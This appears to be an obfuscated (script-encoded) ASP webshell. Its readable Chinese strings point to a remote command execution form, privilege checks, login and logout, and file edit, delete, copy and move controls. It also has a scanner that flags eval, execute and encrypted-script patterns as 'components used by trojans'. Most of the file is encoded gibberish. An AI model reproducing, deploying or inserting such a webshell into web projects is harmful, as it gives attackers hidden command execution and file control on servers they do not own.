IAK?z\~H}IwPbecPgj6Z,PZAS3j╁{5I3i5IP?,~,P~,P,PP,P,~P,P~P,P~~╋╋,PP,~P,P#╁A\)1╁v1}qj?3j,[~╁'G(jp╁P'~*╁??)K╁v16qUjA?~LP╁{fI}Ujbhi╁~[,#╁P]}n╁`g6qU?2U~'P╁B╁PLPb╁I3#"2j╁`g6qU?3j,[P╁x3;IirU~zK)Gi8RAG2d6S5?xIAf(#}In╁,H2hrRgH6Z}fzP~P~~,P7d,╋~#╁gr(P;21H6;R$f}9z╁`P;2xArAKz3I;R]2jI3j{11}/rGbP:3jP,P,P~P77╋wq~fg3P,P~~,PP~~,P~P,~,P~,P,P╋╁@*"A@!@*Kgroz@!!令命行执能不计估够不限权,闷郁@*93"'I}Jr;PKg6o@!╁,2:q] 3U16nU3I,P~~,PP~~,P~P,~,P~,P,PP╋,2UJ2,P~P,P~~,PP,~P,PP,~~P,P╋╁@*I$@!@*Pgroz@!限权高最]2jI3j,Spj!喜恭@*G2]'"6dr/,Kgrs@!╁PAPq" 2U16KU2I,~P,PP,~~P,P,P~P~~,P~P,╋H2_K~q{#╁q]K╁v16qUjA?~wq,PP,P,~P,P~P,P~~,PP,~P,╋sq,9H2,P,P~P~~,P~P,~P,P~~,PP~╋╁@*"A@!@*:H}s&@!统系作操他其@*G2I{I}Jr;PP1}s@!╁~AKq" RA?1}Kj2"P,P~P~~,P~P,~P,P~~,PP~~╋A?J2,~,P~,P,PP,P,~P,P~P,P~~╋╁@*IA@!@*KgrsJ@!统系f!Z ,? r9H&@*fA]'"rJ6;PKH6w@!╁~2:(" A?grnU2"~P,P~P,P~~,PP,~P,PP,~~P╋g2_K~╁&TTy╁'b╁HAP?I?╁cH}q?j3UPoqAjd2~,P,PP,P,~P,P~P,P~~,PP,╋╁@*I~@!@*:H6sJ@!统系h(~? 6G1(@*92"']6drZ~Pgro@!╁,3:q]qRA?1}nU3I,P~P,P~~,PP,~P,PP,~~P,P╋g2uK~╁Ko╁'b╁HAP?I?╁cH}q?j3UPoqAjd2~,P,PP,P,~P,P~P,P~~,PP,╋╁@*I~@!@*:H6sJ@!统系Z!T ~jqr91& @*G2]x"rS6/,KHrw@!╁,2P&IqR2U1}K?AI~P,P~~,PP,~P,PP,~~P,P,P╋H2uP,╁!T!y╁x#╁t2PjI?╁`H6&?j2U~wq~,P,PP,P,~P,P~P,P~~,PP,╋H2_KP╁╁@*@!b╁1&M}S╁c16(U?3?,oq,P~~,PP~~,P~P,~,P~,P,PP╋g2_PP,╁Kj2:╁'b╁)zbS5j╁`:?2`}3I,s&2jS3╋╋o&P91A~P,P~~,PP~~,P~P,~,P~,P,╋#╁K"rh╁cH"roR:?3i52I{b╁K"rn╁vH6qU?A?~P~~,P~di╋b╁IA.]3U╁`H]6wRP?Ai52]{#╁"2."2U╁c1}qj?A?~~,PP,~di╋#╁?U)K╁`tI}s Kj3`p3I{b╁?UbK╁cgrqjjA?~P,~,P~id╋*╁2Hz1╁v\I}s KU2i}AI'*╁3Hz1╁`g6(?U2UP~P~~,P7d╋╁U35╁{#╁H(VrS╁cH}qj?Aj,P~,P,Pdi╋P,~P,P~P,P~~,Ps&~fg2P,~~P,P,P~P~~,P~P,~P,P~╋T{#╁q]K╁v16qUjA?~,P,PP,P,~P,P~P,P~~,PP,╋╁@*I~@!@*:H6sJ@!!令命行执能不计估够不限权,闷郁@*f3Ix]}S6Z,P1}s@!╁~AKq] c2j1}KU2],P,PP,P,~P,P~P,P~~,PP,~╋2US2,~~P,P,P~P~~,P~P,~P,P~~╋8'#╁(]h╁`Hr&jU2j,P,PP,P,~P,P~P,P~~,PP,~╋╁@*"A@!@*PHrwz@!限权高最I3.]3UPJpU!喜恭@*fAIx]}Sr/~:16s@!╁~AK("c2?grhj2"P~P,P~~,PP,~P,PP,~~P,P,╋13CP~8'b!vPS`?3];2I~o&P~P,~,P~,P,PP,P,~P,P~P,╋#e]Ajp"P?v2K`/3(ARg16Z69zPxP:JjU2]/AIPP3UP~P,~,P7i╋╁#E1qtfzj5UBcIAA\3t2S}]."?{U(~K;2d2j╁'e]Aj}I:jP,P~~,PP~~,P~P,~,P~,P,P╋s&PGH2,P~P,P~~,PP,~P,PP,~~P,P╋╁}1╁x#╁\3:?e?╁vHr&?j3UPP~~,P~P,~,P~,P,PP,P,~P╋╁@*I$@!@*KH6wz@!统系他其@*92"'I}J6Z,Kgro@!╁~3:q]c3?grKjAIP~~,P~P,~,P~,P,PP,P,~P,╋2jSAP~~,PP,~P,PP,~~P,P,P~P~╋╁fZ!+╁'*╁\2:?ej╁v1r(jU2jP,~,P~,P,PP,P,~P,P~P,P~╋╁@*"A@!@*P1}sz@!统系fT!yPU6fH(q@*92"xI}S6/,K16o@!╁P3K&]qR3U1}n?AI,~P,P~P,P~~,PP,~P,PP,~~╋1AC:P~#╁+ lPP1╁Bb!vKJiU2I/3"`]KUH&Po&2US2,P,~P,P~P,P~~,PP,~P,PP,╋╁Kp╁'*╁HAKj5j╁cgr(?U3?,P~~,PP~~,P~P,~,P~,P,PP╋╁@*I~@!@*:16sJ@!统系Kp,?}91&@*G3]'"rdr/PPH}s@!╁PAPq" 3U1rKjAI~P,~,P~,P,PP,P,~P,P~P,P╋H3_KP,b╁Fc*P:H╁S#Z`:Si?3];2]`"P?gq~o&2?J3,P~P,~,P~,P,PP,P,~P,P~P╋╁Z!T+╁{#╁HAP?I?╁`g6(?U2UP~P~~,P~P,~P,P~~,PP~~,P╋╁@*I~@!@*KH}sJ@!统系!Z!y~?qr91&@*9AI'"6S}ZP:H6s@!╁PAK(I A?Hrhj2"P~~,PP~7i╋13C:~*╁! lP:1╁~*!vPS`?3I;2]c"K?g(PwqP,~~P,Pid╋b5]3`p]KUc2:j/3o2RHH}Z6fz~{PPdjU2I;2"~KA?~P,P~~,dd╋╁g6qUI2j@$@$P:ZAS3?╁xe"2ip"P?,P~~,PP~~,P~P,~,P~,P,PP╋g2_PPZ']2~HiHcIIA~s&2?d3~P,P,P~P~~,P~P,~P,P~~,P╋fH3c2j1}KU2],P,PP,P,~P,P~P,P~~,PP,~╋╁@*:1rw&@!!查检请,误错误错码密名户用@*G2"']rJ6;PP1}o@!╁,2P("R3jgrK?A],P~,P,PP,P,~P,P~P,P~~,P╋1AuK,&cR{q Fc8 R']3~Hi1c]IAPo(A?S3~,P~P,~,P~,P,PP,P,~P,P~╋fg2 3U1rhj2"PP,~~P,P,P~P~~,P~P,~P,P╋╁@*Pgrs&@!!查检请,误错接连源据数@*f3I{]}S6;P:1rw@!╁,3K&I RA?H6h?2"~P,PP,~~P,P,P~P~~,P~P,~╋Pg2uP,,*+{+c{c8+ ']AAtj1cI"3Pwq~P,P~~,PP,~P,PP,~~P,P,P╋b╁2\)g╁`\I}oR:?3i52I~',╁'9q`I╁,[~*╁?Ubn╁vH"6scKj2`p3],[P╁{9I}?U)Ki╁,[,#╁PI6K╁vH]rw KU2i}AIP'~╁B╁P'P*╁]A.]A?╁vHI}scP?Aj}2"P'~╁{2Z"irUPb:)9i8R~f3S6J5?xIA9qjr]K╁,12K6c1Hr;6Gb~,P,PP,di~╋P*╁16q:Z3HgrZc$f}fb╁vP/2xA}2Pb3];R]2j]2U'HH}Zr9),K3?,~,P~,Pid╋1AC:~╁1&M6S╁{#╁))zSpU╁cKU2j53]Pwq╋╋╁@*I$@!@*]AKH2;&@!@*b&@!@*K16oJ@!陆登出退@*|;)dAx"rdrZ,Kg6s@!@*Pj}M6J{bbzJpUg╁[*╁J]j╁v?AS$b(]z.]2j]2URPjAjp3]L╁'o2"u,b@!@*IAK1AZ@!╁~2:q]c2jH}n?A]P,PP,~~P,P,P~P~~,P~P,~P,P~~╋wqP9HA╋╁@*]A@!@*"2Pg2;z@!@*Kg6sJ@!陆登经已@*fAIx]}Sr;~Kgrs@!@*]2:1AZ@!╁P3P&I RAj1}nj3"P2jJAP~Pi7i╋╁@*]~@!@*I2:1A/z@!@*P1}s&@!陆登有没@*f2"xI}Sr;~P1}s@!@*]2PHAZ@!╁PAPq" 3U1rKjAI~P,~,P~,P,PP,P,~P,P~P,P~~,P╋1AuK,╁╁'#╁g(!rd╁`gr(?j3UPoqr@#@&A6n/!K+cj4kjl o!xcUtb?l #*@#@&@#@&3x9Po; mYbGx@#@&@#@&@#@&Zm/PE\(r@#@&k6~D;;nkY`EG0Jb@!@*ErPO4+ @#@&k+D~hS'd+M\n.cmDCYW4Nn^YvJS4n:d^Mk2YbUoc/A8:VG^mYGDrb@#@&dY,mm{hS mKxU+1YdnM\+McD;EdO`rW0Jb#@#@&k+OPkd'1m LY`E bxf |KMW^/k?YmDD;wr#@#@&U+O~KZ'kdRUwlSU(xkYmx^+m@#@&W/RU4WSrU9Whxqy@#@&?O,w2{m1RoYvEbxf |n.G1+/kE#@#@&wa ^DlD+~JUnDP;/.JBx;s^~W/SbxOnMG1+dkqG@#@&"IUEJ@!4.@*rJ'r YnMGm//&9@#@&Vk+@#@&]]U`E@!6GDsPhnDtW[xrJKrUPrJ@*,J*@#@&"IUE远程执行命令J@#@&]IUJ@!r wED~xm:+{EEW0JrPOX2n{JEYaYrJ~r9'JEG0JEP7C^En{Jr[;!WDIFO F+% TcF[$;WDi~L5;WDiMWGY&^b:- L5EKYISL;EGOpl[:bUb/OMlDWDL;!GYp~';!WOI0WxT5kL;EKOIJrPkk"+xErGTJr@*J@#@&]]UJ@!rUaEOPDza+xrJkE4skDEJ,xC:'EEUE4srYrJP7CsE'rJ提交EJ@*E@#@&]IUE@!J0G.s@*J@#@&x[PbW@#@&@#@&@#@&PP;lU3PrZ4+13)jhJ@#@&7f&:P"n2r"K@#@&7qo~M2}EjKc;;nM5/P.&1!`rC1YE*@!@*J/1l EP:t31@#@&7~,dIMjPvJ@!(@*网站根目录@!z(@* PE[dnM\nDchbawCP4`J&E*[E@!(.@*Jb@#@&idI"?,cJ@!4@*本程序目录@!J4@*R,J[knD72Ich)nhb:tcJ E*#@#@&@#@&diD]j,J@!WGM:~l1ObWU{Jrgb1YbGx{Z4+13)jh[l1O'kml EEPs+DtGNxErwG/DEJ,xCh'JEWKDhFrE@*J@#@&diIIUPr@!w@*@!8@*填入你要检查的路径:@!z8@*r@#@&i7D"/Pr@!rxaEDPUlhn{JEwmOtrJ~OHw+xErYn6DErPdDX^+'rJ(GD9+.)8wa~kWVb[P[,,OEEP7l^En'EEcJEPkry'EE2!JE~J@*~填“-”网站根目录;“c”为本程序目录@!(D@*@!4M@*J@#@&i7IM?~J你要干什么=P@!r wED~m^l/kx^P ls+xJE.mNrW(;YDWUErPYz2'EJMC9kGrJ,\l^ExJr/A/rJ~G ZVb^3{JJ9G^Es+ Y onOAVn:UY~X([vB/4GSsrVqE# kYHV+cNbdw^lz'ExGUBJr~m4+m0n[@*查z?hP马E@#@&7iD./,E@!bx2;DPmsCk/xm,OHwn{JrDl9kKEJ,xC:'EEMlNbG4!YYKUEJ,\mV;+xEr/WJr~W Zsr13'EE9W^Esn Y T+D2V:UY~X(NvBd4Khsbs+8B#cdOX^+cNr/2smXxBEEJ@*搜索符合条件之文件@!8.@*J@#@&7iD]/,E@!4.,z@*@!Nb\,rN{JE/4WAobV+8EJ,/YHsn'rJ9kdwsCH)UW nJr@*E@#@&dd]]UPE[ 8kwILx(/wp查找内容:@!bUw!Y~xm:nxrJ?CD1t{;GUYxDJEPOza+xJrO+XYEE,kNxEr?nlM^4{/KxD+xDJr~/DXs+{JE8KDN.)8w6,dGVbN,a1,1ErPdk.n'rJ+TrJ@*E@#@&d7D"j,J~要查找的字符串,不填就只进行日期检查@!4MPz@*J@#@&diI]/,J'U(/wp'x(/wp修改日期:@!rxaEDPUlhn{JE?CD1tm9mY+EE,YzwxrJO6DJJ,/DzV'EJ(W.[D)826,/W^r[P[,O,EJ~-mV;+{EJr[s3wK`H6S`b~bUUK.vxKh`*~r~J*Oq#LJEE,/k.n'rJ ZEE@*,多个日期用i隔开,任意日期填写,@!CP4.0xJr:JrPGU;Vk^V{JELm-m/^MkaY)6WMhFc?nlMm4mGlY \mVExvbdSEJE@*)Jd@!&l@*@!4MP&@*r@#@&77MIjPr' 4daiLx4kwp文件类型:@!k w;Y,xCh'Jrj+mDm4mok^+A6OJE~DX2+{EJD+aOrJPdOHVn'rE(W.9+M)Fa6,dW^k[P[,11rJP7CV!+'rEMJrPkk"+xEr TJr@*P类型之间用B隔开,e表示所有类型@!8MPz@*@!(D~z@*@!JNr7@*r@#@&idM./,J@!k w;O,YXan'rJ/!8hkDJrP-ls;'EJ,开始扫描~JrPdOHV+xEr4Cm0LMW; N=am1mp8WMNnD= 2a,/W^rN,a2A$* yial[NrUT)+wX~ a6~Ta6P+2XihlMLbxlWwXiJrPJ@*J@#@&7d"Dj~r@!z6GDs@*J@#@&7+d/A@#@&d7(6P]+$;2UY oKD:cEalOtrb{JE,K42x@#@&i7d"Dj`r路径不能为空Jb@#@&ddi]2Uwr d3Rx9`b@#@&7i+Hf,rs@#@&77b0P]35E3/D wW]t`rwlDtrb'r-EP:C3H@#@&di7KswnmP4P{PU2]\3]c:)whCY_`Ewr#@#@&7i+s?r6P]Ap`2?DR66Ds`EwmY4E*'JcEP:t+g@#@&did::KnCO_PxPknDj+. sbnK):CcJcE*@#@&idAS/@#@&7diK\whbO4,'PM3p!2?: WW"HvJ2lO4r#@#@&i72gN~(6@#@&77@#@&7d:rt+]8P{PY&:A.@#@&d7?`x~x,!@#@&7dkj:6rs2UP{PT@#@&7i?iH6GVG2]j,'Pq@#@&d7kw~M+5`+UKRwrMh`rDCNbW8;DYW E#,'PrdA/rPDtn1@#@&id7Nbh0bS3nXYPx~rldwB^DSm/m~m96r@#@&id7ZzVJ~kCWqCS^0k^3cYsnabOCb@#@&d72^j2@#@&77iq0~.;;2kPcs6M:vJwmY4E#,'~JrPG],D+$;+UKRw6.HvJU+CD^4|fCYE#,'~ErPr.~"+}EAdDRW}Dt`JU+m.m4{ok^+3aDJ#,xPrJPD431@#@&id7d]]k`E缉捕条件不完全@!(.@*@!4.@*@!lP4.0xBNC7ld1DbwY=tbdYKDzRTWcR8#iE@*请返回重新输入@!Jl@*rb@#@&idid]2dK}1d2c3x9`b@#@&dd7ngf~q6@#@&d7iN&:s&SA36DPxP"+5i?YcoWMH`rjnlMm4{WksnA6OJ*@#@&id7^zSV~d_WAlds6qsA vK:anzOC*@#@&di+H9,k0@#@&I"?Pr@!Ol(VPAk[O4'EJ8T!uJE~(WD[nM'EJZErP^V^wl9NbUo{JE!rJ~^VVk2l1kxTxEJZJrPdYzs'v0KUY /r")F+2XB@*J@#@&"Ij,J@!YD@*@!D[PkYzV'EEalN9rxT)*aaIVbxO4+rL4YlFFT]pmsnmD)8GDtI0KUDOdby)FywXEJ@*J@#@&"Ij~r@!Nb-PbN'rE;w9lD+(xWGrJ~/DzV'EE(lmVLMW;x9l60W6+8i4KD9nD=F26,/GsbNP[0,WcF6I2l9NbxL)*2Xi[kk2VmXlUKx+EE@*@!&Nb-@*J@#@&I"?Pr扫描完毕!一共检查文件夹@!6GxDP^W^W.xrJawo!Z!!rE@*JL?!Hors9AId[r@!z6WUO@*个,文件@!0GUDP^W^GM'Eraws!Z!ZEJ@*J'/!:ord+?LE@!J0W O@*个,发现可疑点@!6W Y~mGsKDxJr:sw!TTZJJ@*EL?;1LE@!zWKxD@*个J@#@&"]?,J@!Ym4sn,hk9Ot{JJ8TT]rJ,4GD[nM'EJ8EJ,mns^wl[[bxL'rEZJE,mVVkwm^k oxJr%EE,4WM[+MmW^G.'rJ[,1,11OJEPkOX^+xEr0WUO /ryl8 2Xi(WD9+MRmKVsla/nl1WV^Cwk+i^rU+ tkLtOl8&T]p^Vl.l(WY4IrJ@*@!D.@*J@#@&q6PIAp!n?DRoW":cEMlNbG4!YYKUE#,',JdhdE,K42g@#@&"Ij~r@!Y[~Sk[Y4xrJ+Z]rJ@*文件相对路径@!zD[@*r@#@&I"?~E@!YN,Ak9Yt{EE Z]rJ@*特征码@!&O9@*E@#@&]IUPE@!DNPAr9Y4'rEW!YrJ@*描述@!zDN@*E@#@&I]?,J@!O9Phb[Y4'Jr+T]rJ@*创建z修改时间@!zO[@*J@#@&As/P~~@#@&I]j,J@!Y9~Sk[Dt{JJl!uEJ@*文件相对路径@!&Y9@*E@#@&IIU~J@!YN,ArNDt{JE XYrJ@*文件创建时间@!JON@*J@#@&"I?~E@!Y[PSr9Y4{Jr *uJr@*修改时间@!JY[@*r@#@&3 NP&W@#@&IIU~E@!JYM@*E@#@&]"?~I2WMY@#@&"I?~E@!4.z@*@!JYC(V@*J@#@&:(HD+P{POrt2I@#@&Y_2Kb\3'1?:IcqHPv`cK&\+M RPbH2]q*eq!ZTZPb3!c*#JFZb@#@&I]/,J@!8M@*@!6GxDP/Dzs+{B6WUYRdbyn)8+wXB@*本页执行共用了ELYC3PbH3[r毫秒@!J0G Y@*J@#@&2 [P&s@#@&Uj$~kCWqCS^sq^3cwzK4#@#@&j3:PWFU6P{P/]bYn6~L3ZDcr?^MkaYk ocok^+jXkYnh}4L^Yr#@#@&rWP WDPoFj6csGV9nDA6rdD/`K)DtbP:4A1~A6&YPkj~@#@&U+OPwPx~wF/} MKsKs9+"`hbPCb@#@&?nY,WZyPx~6RsrJ/@#@&6GMPnmZ4PHHs&J2,qHPwZ+@#@&k0,/Cm3AaO`wFkr MnOA(P2 dq}1U)s+`2C:t'J'ELHzwk^+R ls3#*PPCx@#@&;lV^~?;lxwrs+vwzYu[O3tw'J'E[s5W(^+RHCs+SPrE*@#@&UEssk^+k~',/iH6kJnkP_,q@#@&2x9~(0@#@&g+aY@#@&U2OPw/P{PW kjAWG^fnIk@#@&0GMPAlZ4PwqPb1~0;@#@&j4WmsVwqVA~KlDCLJwJ'W8RUbtn@#@&/i\6WV93"?~',j!:oKV9+DkP3~F@#@&H2XY@#@&U2K,WFUrP{~HrDCbx!@#@&3gf~?`$@#@&/;$,?ZCUwqJ+vo&Vnab:t~,kgok^+b@#@&?3.j+IcdmMkwDPrHW!Kx,11O,1,O1@#@&qW~&x0rsAP@!@*,ErPO_+g@#@&&16rS/~',J@!WKxY,^W^WD{.nN@*该文件被@!mP4DnW{JEtDOw=z&ELI2}iA/PRUnM\nM.mIqm4^3?vJd+M\n.|xlsnJ*[JJE'K!I^2HZG9A`(1w(V#'ErJPOCMonY{m(VC 3@*J[,kgoqd2~[,J@!&m@*文件包含执行@!JWW Y@*r@#@&2 N,ko@#@&jAK~0k6FUPx~;I+COAW8LA^D`EUmMkwDk LRwks+UXdO:r(%+1YJ*@#@&r PAI.r.~"+jEtnP +pO@#@&?3P,WWqd3,'~w/}F/crh31D2pY6ks3v0qd3wzYt*@#@&s&SAKaK~x,V^lU3`K0(sRD3)9bsSvb*@#@&bs,2D"P:42 Pn(&Y~j`4PAHf,qs@#@&(s,Sxc0rJKpY*@*!,Kung@#@&o(d2P(D~{P-~Z"Vs,[,oqd+O6:@#@&P:w,xPr@!l,4.+6'rJ4YO2=z&JL.25j3j:R?3]j+..z]&b8^2k`Jk+M-+M{Uls+EbLJzr'K!IVU^WG2vD3ws);2cDKVzZncwqVnKzK4~UnM.n"RtbnabD4`r-E#LJwEBJJBq~8~F*SE-r~rzE#b'rJEPDCDT+Ox|4VCU0@*E[MnhSC;2v0q^2a)Y_~d2"\n.c:bhKlDt`rwE#LJ'JSJES8~q~8b[r@!&C@*@!4.~J@*E@#@&~,P~D2tn':2t2[r@!CP4DnW{BLm-lkmDb2O)wE^VoW.hvJEJL.+aVC^A`DnK^b/+vWbVnal:C~k+M#2MR\lhw)O4`J'E#LJ-rSEJBFBFSFbSr-E~rw-r#'ErJ~EEANrYwr^+Er#EPm^lkd'ElhB,YrO^+'E编辑v@*ANkD@!&l@*Pr@#@&dP3snxKhwLJ@!C,tDnW{B%l7Ckm.bwD)s!V^oWM:cJrJ']AnSm/2vD2hs)ZA`6qs22C:tS?A]\D hmnwCP4`E-rbLJwr~rJ~8~8SF*~E-r~Ew'J#LEJr~Jr9nVwk^+EJbv,PGx1sk13xvM+Y;. Pz+kG0`bEP1Vlk/{vlsB~YbYsn{B删除B@*9+^@!zm~@*Pr@#@&dO+\K{Y3Ha'J@!l~4M+0xvNl-lk^Mk2D)wEV^sK.:vJEJLDn2dbmAcIAwVz/3`6k^+KbOuB/3DjnDc:)KabYucr-E#LE'JSrJBF~8~8b~r-E~r-wE*[JrE~rJZK2zsbVJE#v~1VC/kxBm:v~DkYsn{B复制v@*;GaX@!Jl@*PJ@#@&iO+snxYH2'r@!l,4D0'E%C\m/1DrwOlwEsVwGDs`EEr[D3K^b^2v.AwszZ`0&SA2lDtS/AD#3MRHzKwzYtvEwJ*[r-E~EEBFSFBq#BJwEBJ-wE*[EJrSrJ\K\sk^+rE#EP^Vm/dxEl:E~YbYVxv移动B@*HK\n@!&C@*J7@#@&7diqo~&x/P]vPWk^nD6OBP^Zbk2vEUm.JLf6\HA+kO[rkwD jtV^JbPb~}I~qgjKM`~WbV2OpD~~V;CU2crm^/k9)F+Zyc9flO9{ZbJL9rs54AjP[rOW&0AR0zc+OO0cyc$0Rbs$0r#~#,O_2H@#@&iddiDA2W"Y~',D3KKIYLE@!DD@*@!O[@*r[:2hn'E@!zON@*@!Y9@* j1DJ'[}HzAAd:[EbwDR?4+^sP或者,ms/bNl{yZ W9flOfFT)JLf}Hz43d:[EOWf%~O0)W O10W *AR0zs$R@!JYN@*@!D[@*@!0GxDP^G^WD{.+9@*危险组件,一般被bUK木马利用@!z6W Y@*J'r 0rSAd[r@!&O9@*@!O[@*J'MPGbOAZ"+lD+voqd+2b:Cb'r@!4M@*JLo+D[CKH}f(szc6qJ+h)Y_#'E@!zY[@*@!zOD@*E@#@&7idi/j P{~?!x~_,F@#@&D2:axJ 同上OJ@#@&3x9P&0@#@&(o,kH/D.`,0rsAK(PS,V/bk3vJj4+r[NK:H8+kY'J^V )awVb^lDkW EbP*P}I~kHdDDcP6(VAKpPBPV/)U2cJ1skk[=F2G!OvyTO; {JLf6\H42UP[r,O8q/2 bW,3O**W*X&l*!Z!TE*P#~P42U@#@&]n6"Y,'PM2hGI:[E@!DD@*@!DN@*r'K:wLE@!zDN@*@!ON@*j4+E[G6HI4njD[Jsscb2w^r1lObW P或者P1VkrN=FfGZ,+ZOZy{JLNrse82UYLJ1Oqq;2RbW12 c**l*&X*Z!T!@!&DN@*@!Y9@*@!6W OP1WsWM'.n9@*危险组件,一般被bUK木马利用@!J0W O@*JLkg0rS3jLJ@!zD[@*@!Y[@*r[o3PGbP+;.AbOA`wqVnzOt*[E@!(D@*ELo2:9l:2:K9r0H`wks+2)DCb[r@!zDN@*@!JYD@*E@#@&jE ~{Pj!x,_P8@#@&P+swxJ 同上OE@#@&2x9~kw@#@&knPPM+V2aPx~g2 P"nM6K@#@&D+!nXRrM 6M2^m/AP',Y"i+@#@&.+V+a TSW(CS,'P:];+@#@&"2L2a hbOKA.x,'~E'4S)HVj)MAwkex'/C$JrTQw/C`-4km.raYuNdmMkwDk%l7lkm.k2O*Rnx1GN-8E@#@&qo~M2L+X D+d:`wkSYXO#,Ku2 @#@&]nr"OP{PIK6DD[r@!OD@*@!DN@*JLO+sn'E@!zY[@*@!Y[@*v-(/^MkaYuN/1.kaYkLm\Cd1DkaO#c2x1G[+@!zDN@*@!O[@*@!WW OP1WsGM'Dn[@*似乎脚本被加密了@!&0KUD@*ELkg0kd2U'J@!zON@*@!O[@*J[T3KGbK/]+mK`oqsnhlOC*'J@!4.@*r[onO9bP2tG9qWI`wqSAnzPt*[E@!JY[@*@!zYM@*J@#@&di77?`1,'~?iU,_~F@#@&did7PAHnxE 同上OE@#@&7id3gN,qs@#@&i7dM2L2oRKCDY2MHP{PJ'83\r[rls-8E@#@&7di(s,D3!A6RPnUYc0bJKaD#,YCx@#@&did7DAn6.DP',.+arD:'E@!DD@*@!ON@*ELY3Hh'J@!zO[@*@!Y[@*A\E[rC^@!&DN@*@!Y9@*E[r\CVv#函数可以执行任意)jh代码@!4M@*但是Lm\lk^.kaY代码中也可以使用,有可能是误报。r[r1ord2j[r@!zDN@*@!DN@*E'V2OfmOAm]b:2`wq^nnmY4#LJ@!8M@*JLL+Dfb:3\W9qw5csrJwCK_b[r@!&O9@*@!&OM@*E@#@&7id7UEgP',/!HP3Pq@#@&d77iY2sK'rO同上Or@#@&didAx9PrW@#@&7di]+T2p alYOnM1~',E]7 Y-(26JLEm!Yn-(J@#@&iddbWPM+oa KA?D`oksn:6O#,OCAx@#@&idd7.n6D:~{P]AnKDYLJ@!OD@*@!ON@*J'PAHwLE@!JYN@*@!ON@*2X+^J'E!Yn@!JON@*@!O[@*@!0GUDP^W^GM'.N@*+JLJXnm!Yn`*函数可以执行任意bjK代码@!z0KUY@*@!4M@*E[b1wqs+d'r@!&Y9@*@!DN@*ELo2P[mY3mMnzY3v0&V2alD4#LJ@!4M@*E'V+K9CYAHW9ro5vsbS3wCP4#'J@!&Y9@*@!&DD@*E@#@&d7dij`1~{PUEx,_,q@#@&d7diYnhh'J 同上RJ@#@&di73xGPb0@#@&77iInopRabOPAD1~x,JwRv6a+U-ZM+lD+*P+XYok^+w8r@#@&i7db0PM3!2oR:2dYcWbVnKoP#,Yu3 @#@&77id]+a6MK~{P"+w}I:'J@!Y.@*@!Y[@*r[KAhnLJ@!JO[@*@!Y9@* Z.nmYnKaYwksn-Rr2n Kn6DobVn@!zDN@*@!Y9@*使用了sUr的/DlOn:+6Dok^+u}2nx:+XYoksn读写文件r[(xw(VA?'E@!zY[@*@!Y[@*r'V+PGl:+ZM2zP2vsrSAwCO_#[r@!4M@*JLLnY9bD2hW9r6Xc0&s+hbPu*[J@!&DN@*@!JOM@*E@#@&iddi?`UP{PdE PQ~8@#@&i7diY+tKxJ 同上Or@#@&d771[Pbo@#@&d77"+onacw)Y:n"x~{Pr-RUl7nKKsrV-8E@#@&di7k6PDAL3(cKA?O`Wr^+O(DbPDt3U@#@&d77iDnw}]:Px,DAnrMKLE@!DD@*@!DN@*ELY2t2[r@!zD[@*@!DN@*Rjl-n:Wok^n@!JY[@*@!YN@*使用了jDDnls的jm\n:WwkV函数写文件JL(16ks2k[E@!JYN@*@!Y9@*JLL3Y9bD2^I3CD+cs&J2hbP4*[J@!8M@*E[V3:NC:+srNbsHc0bVnwzKubLJ@!JON@*@!zD.@*J@#@&id7dd;gPxPki1,_~q@#@&d77iK3HhxrO同上Rr@#@&ddi2 [P&s@#@&id7]Ao+o wmKK.HP{Pr- ?C--8J@#@&didro,D2LnoRP+UPvsr^+D6Y*P:42g@#@&did7.AnrMOP{PDK6I:[r@!OD@*@!DN@*JLP2tw'E@!zY[@*@!Y[@*cjm\n@!zDN@*@!Y9@*使用了(tSuK:n的jC7+函数写文件JL(xwkVAj'J@!zDN@*@!O[@*J'MAPfmYn/"2lO3v0(VA2zK4*[r@!4M@*r'MK[lD+\69k0Ic0bS+a)Ot*[r@!&Y[@*@!zOD@*E@#@&d77i?jH~{Pdjg~3Pq@#@&iddiYA\n{JR同上Or@#@&7id2 [Pbs@#@&77/AK,D3ona,'~x}Pt&1!@#@&ddd3:P.+V3oPx,1hP"2V3(a@#@&diIn!(R&!x}I+;Cj+,',Y]E3@#@&d7DAL+oRLs}Als~{PPI!n@#@&7iDM+XRa)K:+.x,'~E@!"O w/Cak ^sE9+'/M0rs-de{w/CJE CJJE@#@&d7/O,:CDm_2/,',.2V2aRA(n/!Y2vokd+KoPb@#@&di0GD~3mm4Pt)K1C~rgPHCP1tn/@#@&id7D0&V+,',.+hVCmA`hr9`HzPZ_R.mJ;+BP&xjY.ctlPZ4 \zS;nBPJEEr#~_,qBPsAxvHb:Z_ .zSi+*PR~&x?:.`sbY1u .zS`+SPEErJbP ~F*~E&r~JwE*@#@&di7bs~gr:Pm42;V+XYcsUrqjco2Dn6D+1Ur61 bt+cYo(d2b#,OC1@#@&idd7/zVJPU^z1WbSA`PskGc0&S3nzK4S8~qgdYMI+jcoqd2alOtSE'Jb#LP0&VnS,D22szZn`wrd+2mK_~/Dj3Dc:CwhlP4vJ-rb[r-JBEE~8~8~q#~b@#@&7di7?!HW(d2/~x,/i:6(d+d,_,F@#@&di7+ N~q6@#@&7i1+oO@#@&ddk3OPtbDZ42j~{PUWDuqgM@#@&id?3O,I3Ma,'~ rDtkgM@#@&di/nK,I3L6P{~1PM3!+Xn@#@&7d]3T2pRbL1KIn^m/+~x,Y]EA@#@&d7"+V26codG4mV~',Y]i@#@&i7Do+o KbDYADUPx~r@!ZO w/CarU1VE[n'/M\b.DEC^-ke''/CEJceEJr@#@&7i/+D~:mYZ4ndP{PM+L+a 6nZ`P+vs(sAY6Ob@#@&7dw6"Pnzm_PHzY1uP&x~HzY/u?@#@&7diY0bJnP{PM+2S)^`hkGc:zY/4c\bJiA~~k jDIctlDZtc.msj~~JrJEb,_P8SPd21v\CK1Cc\)Si3*PRPbU?:Ic\mKZu jlsES,JErJ*PO,F*SJJJSJ'Jb@#@&ddi(s,xW:~/Cmn2pYcokWq?cL2:2aOx/r6g1C:AcD0rd+*#P:tAH@#@&d7diZCs^P?;C1wkSAc~?ADj+]R\CawCK4cJ'Jb'r-J'P6qs+B~"22db1+`wqdnwmY4~U2.-ADRsCnabK4cE-r#LJwJSEr~q~8SF*Pb@#@&dd77kEh0&JA/~{PkjHwqd3/,_~F@#@&77i+19~kw@#@&i7H+oY@#@&7ddn:PhbD^tA?~x,1WOub1L@#@&7i?n:PM2M(,xP rPtbx!@#@&ddUnK,D+V3pP{Pg+ P]3V2aw@#@&diDn!(RrLgr.21)U+~{P:IE@#@&7d"+!2XRLJKAl^~',KI`n@#@&id"+L+p 